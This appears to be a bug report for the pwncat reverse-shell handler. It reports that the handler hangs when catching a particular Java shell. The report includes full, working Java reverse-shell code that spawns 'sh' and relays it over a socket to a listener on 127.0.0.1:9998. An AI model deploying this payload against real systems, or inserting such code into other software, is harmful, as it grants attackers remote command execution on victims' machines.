pwncat
pwncat copied to clipboard
Reverse shell hangs using a certain shell (Java)
Bug Description
When using a shell from revshells.com (Java #3), the terminal hangs once the connection is accepted.
pwncat version
Provide the output of pwncat --version
or a commit hash if working from
0.5.4
$ pwncat --version
0.4.2
Target System (aka "victim")
This code:
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
String host = "127.0.0.1";
int port = 9998;
String cmd = "sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}
Steps to Reproduce
Steps to reproduce the behavior:
- Run the above code
- catch at 9998
- Observe it catched
- Observe it hang, with input doing nothing
Expected Behavior
The CLI should function as a "regular" reverse shell, with all functions available.
Screenshots
Stays like this forever